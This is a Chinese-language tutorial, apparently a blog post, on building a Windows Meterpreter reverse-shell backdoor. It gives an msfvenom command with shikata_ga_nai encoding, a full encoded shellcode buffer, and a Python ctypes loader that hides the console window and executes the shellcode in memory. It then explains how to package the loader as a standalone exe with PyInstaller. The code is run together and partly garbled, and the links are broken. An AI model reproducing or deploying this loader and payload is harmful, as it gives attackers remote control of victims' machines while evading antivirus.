参考一大佬的
在linux下生成一个反弹的msf的python脚本,命令如下：
msfvenom -p windows/meterpreter/reverse_tcp LPORT=443 LHOST=192.1681.102 -e x86/shikata_ga_nai -i 11 -f py -o /mo.py
查看下py的内容
将buf值全部替换成mo.py的，其他不用修改
from ctypes import *import ctypesbuf = ""buf += "\xbb\x7a\x62\x0a\x22\xdb\xc9\xd9\x74\x24\xf4\x58\x29"buf += "\xc9\xb1\x97\x31\x58\x15\x03\x58\x15\x83\xe8\xfc\xe2"buf += "\x8f\xdc\x50\xbc\x22\x5d\xbf\x0c\x65\xe9\x1b\x79\xcd"buf += "\x39\xad\x30\x7c\x0c\x5d\x21\xfd\x87\x61\x46\x2b\xc8"buf += "\x35\xc0\x38\x81\xbf\xd5\xb9\xd7\x14\x0c\xcb\x00\x79"buf += "\x12\x5d\xd0\xb1\xee\xfe\x06\x1d\x51\x8a\x92\x29\xd2"buf += "\xa4\x4c\xd0\x08\x22\xdc\x4f\x24\xb2\x2b\x2b\xda\x00"buf += "\x5f\xa3\x1d\x01\xfe\xe9\xf2\x62\xeb\xa7\x46\x63\xce"buf += "\xac\x45\xe4\x8b\xa1\xa3\x85\x14\xe1\x1e\x06\xa7\x6e"buf += "\x7a\x03\xe7\x05\xd2\x41\x32\x24\x3c\x48\x72\xf2\x57"buf += "\x0f\x58\x58\x5c\xf6\xd5\x0f\x5b\x6b\xca\x34\xdd\x5d"buf += "\xe0\x62\x5a\xc2\xde\x3d\xdc\xb3\xf0\x3e\x78\x31\x90"buf += "\x6c\x5f\x58\xee\x84\xb0\x30\x87\x60\xec\x58\x25\xad"buf += "\x4a\x6b\xc6\xb7\xd8\x70\xb8\x2f\xc8\xd9\xcf\xec\x10"buf += "\xcb\x67\x90\xf2\xdf\xf2\x4a\xf3\x23\xf6\xd1\x12\xa5"buf += "\xfb\x10\xa9\x56\x4e\xd0\xdc\x10\x21\x1d\xb5\x58\x17"buf += "\xe1\x6d\x69\x74\xc7\xac\x58\x1a\xc9\xf7\x00\xf8\x54"buf += "\x76\x05\x6d\xd4\x9e\x9c\x22\xdb\x0f\xa9\xfa\xe3\x8b"buf += "\x8e\x1a\x1f\x60\xdb\xbe\xef\x2f\x73\xa5\x42\x02\x93"buf += "\x89\x0f\x42\xfa\xae\xb9\x9b\xec\xe2\x53\x56\x38\x51"buf += "\x45\x6f\xb8\xd2\xff\x3a\x73\x44\xe4\x38\x38\xf2\x28"buf += "\x76\xf0\xca\x34\x80\x35\x55\x83\xad\x29\x23\x8a\xca"buf += "\x07\xcf\x88\x30\x15\x2e\xc0\x99\x1e\xdd\xb6\xbb\x49"buf += "\x92\x1e\x9a\xdd\xcf\x58\xe9\x84\x66\x3d\x38\xfc\x28"buf += "\x99\xa4\x19\x09\xe6\x1c\xf5\xad\x4f\xa1\x81\xbf\x51"buf += "\x3d\x0b\x9e\x27\x60\x20\x7d\x59\x6e\x82\x7c\x25\x5c"buf += "\x4e\x34\x25\xed\xc3\xb1\x45\x02\x92\x75\xf5\x11\xa5"buf += "\x54\xdc\x1b\x6f\x9b\x56\xd2\xb5\x80\x66\xcf\xe1\x61"buf += "\xd1\x01\xe4\x31\x52\xd9\x5b\x01\x37\x29\xa8\xef\xc8"buf += "\x53\x9b\x1c\x47\x30\x9e\xe4\x6a\xda\xb3\xd5\xfd\xf5"buf += "\xb8\x13\xbc\x92\xbb\xb4\x82\x70\x02\xad\xef\x3b\x70"buf += "\xf4\x98\x84\x31\x52\x97\x60\x2b\x2e\x84\x9b\x7f\xb7"buf += "\x30\x85\x58\xef\x8c\x95\xa0\x56\x2f\xef\x20\x61\x0d"buf += "\x94\x66\xbf\xa7\xd0\x71\x56\x52\x82\xb1\xa0\x19\xe4"buf += "\x7e\xd9\x90\x96\x2b\x16\xea\x4c\xde\xcd\x05\x23\x6e"buf += "\xc2\x4b\xc0\x68\x1b\xba\xc1\x1d\xca\x26\x74\xd1\x92"buf += "\x4e\xd3\x70\x8a\x43\x41\xbe\x59\xf1\x20\x33\x89\xb9"buf += "\x2b\xdb\x9a\x0f\xad\x8d\x80\x4c\x78\x52\xe7\x0a\xf7"buf += "\x47\xd8\x5c\x0c\x3c\xd4\x0d\x3d\xe7\xbd\x2d\x22\xb1"buf += "\x37\x0a\xd9\x5e\xf2\xd5\xd2\x56\xe0\x56\x1c\x42\xc3"buf += "\x75\x92\x55\x7c\x86\x6a\xb4\xcd\x3a\xce\x4d\xea\x4f"buf += "\xa4\x31\xc6\xe0\x16\x27\xa5\xf4\x9d\x79\x5e\xfc\x60"buf += "\xeb\xef\x35\x33\x6e\x5b\x6d\xec\x8f\x9b\x1e\xb1\xf6"buf += "\x35\xeb\x1f\x3b\xab\x99\x9a\x34\x2a\xf8\x25\x38\xba"buf += "\x40\xe9\xb0\x51\xbc\xdf\x60\x16\x62\xc3\x63\x64\xbd"buf += "\xb5\x28\xf6\x4c\x71\xd2\x01\x74\x11\xf0\xd7\xcd\x4f"buf += "\x34\xad\xc2\x65\x4c\xeb\x78\xc1\xbf\xba\x80\x6c\x46"buf += "\x6a\x15\x15\x03\x5e\x8d\x65\x8e\x69\x89\x29\x7f\x67"buf += "\xea\xc1\x6b\x62\xb0\xd4"#libc = CDLL('libc.so.6')PROT_READ = 1PROT_WRITE = 2PROT_EXEC = 4def executable_code(buffer):buf = c_char_p(buffer)size = len(buffer)addr = libc.valloc(size)addr = c_void_p(addr)if 0 == addr: raise Exception("Failed to allocate memory")memmove(addr, buf, size)if 0 != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC):raise Exception("Failed to set protection on buffer")return addrVirtualAlloc = ctypes.windll.kernel32.VirtualAllocVirtualProtect = ctypes.windll.kernel32.VirtualProtectshellcode = bytearray(buf)whnd = ctypes.windll.kernel32.GetConsoleWindow() if whnd != 0:if 666==666:ctypes.windll.user32.ShowWindow(whnd, 0) ctypes.windll.kernel32.CloseHandle(whnd)print ".................................."*666memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)old = ctypes.c_long(1)VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)),0x40,ctypes.byref(old))ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell),buf,ctypes.c_int(len(shellcode)))shell = cast(memorywithshell, CFUNCTYPE(c_void_p))print "Code By Luan"shell()
在windowsx86上安装支持python的环境，我下载的是2.7.15
下载pywin32::81/01/tools/pywin32_2.7().rar
解压运行，一直点下一步就可以了
然后下载支持将python生成exe的软件pyinstall
下载pyinstall：https://nchc./project/pyinstaller/2.0/pyinstaller-2.0.zip
解压然后在pyinstaller安装好的目录下执行以下命令:
python PyInstaller.py --console --onefile mo.py
运行成功会在该目录下的/bk/dist/下生成一个mo.exe文件
